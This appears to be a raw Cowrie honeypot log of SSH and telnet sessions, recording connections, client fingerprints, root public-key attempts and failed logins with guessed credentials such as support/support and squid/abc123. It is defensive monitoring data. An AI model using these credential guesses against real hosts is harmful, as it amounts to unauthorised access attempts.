{"eventid":"cowrie.session.closed","duration":33.041165351867676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:01.973877Z","src_ip":"128.199.8.54","session":"57c09b13ea2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37336,"dst_ip":"159.203.135.109","dst_port":22,"session":"66094fac51e3","protocol":"ssh","message":"New connection: 78.83.249.54:37336 (159.203.135.109:22) [session: 66094fac51e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:05.023297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:05.028603Z","src_ip":"78.83.249.54","session":"66094fac51e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:05.149505Z","src_ip":"78.83.249.54","session":"66094fac51e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"test","message":"login attempt [www/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:05.666104Z","src_ip":"78.83.249.54","session":"66094fac51e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:06.792248Z","src_ip":"78.83.249.54","session":"66094fac51e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c60b717808","protocol":"telnet","message":"New connection: 128.199.8.54:33590 (159.203.135.109:23) [session: 99c60b717808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:10.594976Z"}
{"eventid":"cowrie.session.closed","duration":35.11683893203735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:11.285742Z","src_ip":"128.199.8.54","session":"9b97a0246a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29489827156067,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:11.552314Z","src_ip":"128.199.8.54","session":"ca1d8ca9e6aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37928,"dst_ip":"159.203.135.109","dst_port":23,"session":"e995417fcd36","protocol":"telnet","message":"New connection: 128.199.8.54:37928 (159.203.135.109:23) [session: e995417fcd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:11.810908Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42154,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e92049346d","protocol":"telnet","message":"New connection: 128.199.8.54:42154 (159.203.135.109:23) [session: 90e92049346d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:16.909484Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":18086,"dst_ip":"10.17.0.5","dst_port":22,"session":"a61c9187a84e","protocol":"ssh","message":"New connection: 31.57.216.40:18086 (10.17.0.5:22) [session: a61c9187a84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.160264Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.164692Z","src_ip":"31.57.216.40","session":"a61c9187a84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":18092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5797c752b80","protocol":"ssh","message":"New connection: 31.57.216.40:18092 (10.17.0.5:22) [session: e5797c752b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.299577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.303514Z","src_ip":"31.57.216.40","session":"e5797c752b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.409200Z","src_ip":"31.57.216.40","session":"e5797c752b80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:32.757907Z","src_ip":"31.57.216.40","session":"e5797c752b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:33.863788Z","src_ip":"31.57.216.40","session":"e5797c752b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.927435874938965,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:36.076798Z","src_ip":"128.199.8.54","session":"2ea7f5ffc1ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.199","src_port":57141,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d817edd854","protocol":"telnet","message":"New connection: 185.247.137.199:57141 (159.203.135.109:23) [session: 66d817edd854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:36.528187Z"}
{"eventid":"cowrie.session.closed","duration":1.9996354579925537,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:38.527709Z","src_ip":"185.247.137.199","session":"66d817edd854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34454,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f5dc06687a","protocol":"telnet","message":"New connection: 128.199.8.54:34454 (159.203.135.109:23) [session: 99f5dc06687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:39.223772Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f547df3f7c","protocol":"telnet","message":"New connection: 128.199.8.54:38714 (159.203.135.109:23) [session: f1f547df3f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:41.519595Z"}
{"eventid":"cowrie.session.closed","duration":31.791089296340942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:42.385933Z","src_ip":"128.199.8.54","session":"99c60b717808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea19e945997f","protocol":"telnet","message":"New connection: 128.199.8.54:40820 (159.203.135.109:23) [session: ea19e945997f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:43.550750Z"}
{"eventid":"cowrie.session.closed","duration":33.44624662399292,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:45.257020Z","src_ip":"128.199.8.54","session":"e995417fcd36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96316742897034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:51.872573Z","src_ip":"128.199.8.54","session":"90e92049346d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":6479,"dst_ip":"159.203.135.109","dst_port":22,"session":"18fed903061b","protocol":"ssh","message":"New connection: 193.46.255.86:6479 (159.203.135.109:22) [session: 18fed903061b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:53.724320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:53.728981Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:53.857627Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:54.448776Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abc123","message":"login attempt [squid/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:55.580641Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abcd123","message":"login attempt [squid/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:56.712369Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54254,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb2ec7b136b","protocol":"ssh","message":"New connection: 78.83.249.54:54254 (159.203.135.109:22) [session: 5eb2ec7b136b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:57.713237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:57.718806Z","src_ip":"78.83.249.54","session":"5eb2ec7b136b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:57.839889Z","src_ip":"78.83.249.54","session":"5eb2ec7b136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abcd1234","message":"login attempt [squid/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:57.850965Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ASDF1234","message":"login attempt [ubuntu/ASDF1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:58.362032Z","src_ip":"78.83.249.54","session":"5eb2ec7b136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abc1234","message":"login attempt [squid/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:58.983108Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:59.486068Z","src_ip":"78.83.249.54","session":"5eb2ec7b136b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:00.114928Z","src_ip":"193.46.255.86","session":"18fed903061b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46620,"dst_ip":"159.203.135.109","dst_port":23,"session":"f546fd062ad2","protocol":"telnet","message":"New connection: 128.199.8.54:46620 (159.203.135.109:23) [session: f546fd062ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:00.688257Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":41268,"dst_ip":"10.17.0.5","dst_port":22,"session":"b470affa55f7","protocol":"ssh","message":"New connection: 104.237.147.156:41268 (10.17.0.5:22) [session: b470affa55f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.897564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.904810Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.914784Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:37:a3:73:70:ea:35:21:c3:cf:82:2b:ec:0d:da:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5t9UZvVdZPwWaWDA2uvPALk0p4xmUPe7eN8GdM/MPOcgAPZeN+4YNCRAzP4PB5slj9eN0dn9L6+YSSIin0UGiWNfLL/hRL3mVM+TaHIeXt3FA4yje305ZaktE6YF/lvlCSt4g7yDno/adwGFvuFIya7DCppHg9xt6/kgc7KLZeowcaE1o+dyMaY5atT46zf2cpGps9akDJxL/vqe69LdMI4aQjVYYi+lYqIn5NsyFgzy4rOF4LmdsI5PFR8imhDid6uxi+HcmeK07aV2iE1lRN3pt8pVhCn50l401rN96zEexWQBNkD1TKIbwvB0PiEmUr1xJiDKnTMbnAZoQW8v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:37:a3:73:70:ea:35:21:c3:cf:82:2b:ec:0d:da:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.974457Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:37:a3:73:70:ea:35:21:c3:cf:82:2b:ec:0d:da:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5t9UZvVdZPwWaWDA2uvPALk0p4xmUPe7eN8GdM/MPOcgAPZeN+4YNCRAzP4PB5slj9eN0dn9L6+YSSIin0UGiWNfLL/hRL3mVM+TaHIeXt3FA4yje305ZaktE6YF/lvlCSt4g7yDno/adwGFvuFIya7DCppHg9xt6/kgc7KLZeowcaE1o+dyMaY5atT46zf2cpGps9akDJxL/vqe69LdMI4aQjVYYi+lYqIn5NsyFgzy4rOF4LmdsI5PFR8imhDid6uxi+HcmeK07aV2iE1lRN3pt8pVhCn50l401rN96zEexWQBNkD1TKIbwvB0PiEmUr1xJiDKnTMbnAZoQW8v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.978687Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:76:56:87:1a:02:a7:25:29:0d:ff:2b:fc:ae:fe:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtrY1mcbvlC934cxrNNouonezWICt0hnAjIG/A5F1KgXgCyBMeh0q68MAy5Vyrf7Rda7mfa3PNLHw/PZu2XlHk9oTNHK9msEHPgHdrPCM3f+lIpMzrWRO8dYxrLJneUWerrDLzv0EptDwu2h+himYDCM1zaRZjYfNcTIjGUK/fJOuNmhG/O3G5I2sRHcsbtFfyK0gjrunA35iWfothMKLL8StAy1Vd5O9cacP2QEsqbd7CWGUJltjtl7jJRDT+/Xw34224F8Wk8jKDzQ0WH9nN9H/dvohhV2144y7eopAb0IeleFuPAyzYRcnV+ds65Qau05h3/NXZSbiFEBVZdJAv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:76:56:87:1a:02:a7:25:29:0d:ff:2b:fc:ae:fe:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:01.994822Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
